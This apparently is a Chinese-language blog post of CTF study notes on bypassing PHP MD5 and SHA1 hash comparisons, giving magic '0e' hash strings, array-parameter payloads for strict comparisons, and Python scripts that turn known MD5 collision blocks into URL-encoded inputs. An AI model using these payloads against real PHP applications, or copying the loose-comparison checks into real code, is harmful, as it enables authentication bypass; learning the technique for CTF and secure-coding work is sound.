PhP (MD5、sha1)比较漏洞(弱比较、强比较、强碰撞)
弱比较
md5和sha1弱比较都是利用php解析哈希值以“0E”开头的特性,结果都为0符合参数1的字符串值和参数2的字符串值不相等,但md5值相等。
如:240610708,aabg7XSs,aabC9RqS,s878926199a这四段字符串MD5编码后结果分别对应
240610708:0E462097431906509019562988736854
aabg7XSs:0E087386482136013740957780965295
aabC9RqS:0E041022518165728065344349536299
s878926199a:0E545993274517709034328855841020
而在php代码中处理哈希字符串时,会把“0E”开头的哈希值都解析为0,比较时0=0为true绕过
同理使用sha1加密的值为)0E开头的字符串有如下:
aaroZmOk,aaK1STfy,aaO8zKZF,aa3OFF9m
#coding=utf-8
<?php
error_reporting(0);
include "flag.php";
$a = $_POST['a'];
$b = $_POST['b'];
if($a != $b && md5($a) == md5($b)){
echo $flag;
}
/*
if($a != $b && sha1($a) == sha1($b)){
echo $flag;
}
*/
?>
payload:
MD5:a=240610708&b=aabg7XSs
SHA1: a=aaroZmOk&b=aaK1STfy
强比较
使用php的强比较类型来解析的话,就是除了比较值,也比较类型。弱比较只比较值,不比较类型。
所以上面的方法就失效了,我们可以使用数组来绕过强比较,因为md5和sha1无法计算数组,但不会报错,会输出null,所以我们可以使用“空类型=空类型,null=null“来绕过强比较的比较类型。
#coding=utf-8
<?php
error_reporting(0);
include "flag.php";
$a = $_POST['a'];
$b = $_POST['b'];
if($a !== $b && md5($a) === md5($b)){
echo $flag;
}
/*
if($a !== $b && sha1($a) === sha1($b)){
echo $flag;
}
*/
?>
payload:
/*
在php中,变量名后加个中括号就代表这个变量的值为数组
如: $demo[] = 123;
*/
MD5 and SHA1:a[]=1&b[]=2
强碰撞
强碰撞我现在还是不怎么理解,只是从其他博主的文章解释和下面大佬写的一段代码分析。
它的工作原理可以分为以下几个步骤:
首先,我们有一个hex字符串,类似于密码一样的形式。
然后,我们将这个字符串分割成两个字符一组的形式,每两个字符代表一个十六进制数。
接着,我们将每个两位的十六进制数转换成对应的十进制数。
然后,将这些十进制数转换成相应的 ASCII 字符。
最后,将转换后的 ASCII 字符写入二进制文件,以便我们可以保存和使用。
这个是将hex写入到bin文件的python脚本源码:
#!coding:utf-8
hexString1 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2'
hexString2 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2'
hexList1 = [] # 存储hexString1拆分后的每个字符
intList1 = [] # 存储hexList1转换成的整数
asciiString1 = '' # 存储转换后的ASCII字符串
# 将hexString1拆分为每两个字符,存储到hexList1中
while True:
intString1 = hexString1[0:2] # 获取hexString1的前两个字符
hexString1 = hexString1[2:] # 移除已获取的字符
hexList1.append(intString1) # 将获取的字符添加到hexList1中
if hexString1 == '':
break
# 将hexList1中的每个字符转换为整数,并存储到intList1中
for i in hexList1:
intList1.append(int(i, 16))
# 将intList1中的每个整数转换为对应的ASCII字符,并拼接到asciiString1中
for j in intList1:
asciiString1 += chr(j)
# 将转换后的ASCII字符串写入名为"1.bin"的二进制文件中
with open('1.bin', 'w') as f:
f.write(asciiString1)
hexList2 = [] # 存储hexString2拆分后的每个字符
intList2 = [] # 存储hexList2转换成的整数
asciiString2 = '' # 存储转换后的ASCII字符串
# 将hexString2拆分为每两个字符,存储到hexList2中
while True:
intString2 = hexString2[0:2] # 获取hexString2的前两个字符
hexString2 = hexString2[2:] # 移除已获取的字符
hexList2.append(intString2) # 将获取的字符添加到hexList2中
if hexString2 == '':
break
# 将hexList2中的每个字符转换为整数,并存储到intList2中
for i in hexList2:
intList2.append(int(i, 16))
# 将intList2中的每个整数转换为对应的ASCII字符,并拼接到asciiString2中
for j in intList2:
asciiString2 += chr(j)
# 将转换后的ASCII字符串写入名为"2.bin"的二进制文件中
with open('2.bin', 'w') as f:
f.write(asciiString2)
这一段代码是将生成的2进制文件内容再次进行url编码输出:
#!coding:utf-8
import urllib
urlString1=''
urlString2 = ''
for line in open('1.bin'):
urlString1 += urllib.quote(line)
for line in open('2.bin'):
urlString2 += urllib.quote(line)
print urlString1
print urlString2
参考:
https://www.cnblogs.com/kuaile1314/p/11968108.html
https://blog.csdn.net/EC_Carrot/article/details/109525162
标签:字符,sha1,字符串,hexString2,hexString1,PHP,ASCII,比较,MD5 From: https://www.cnblogs.com/ping-ka/p/17429252.html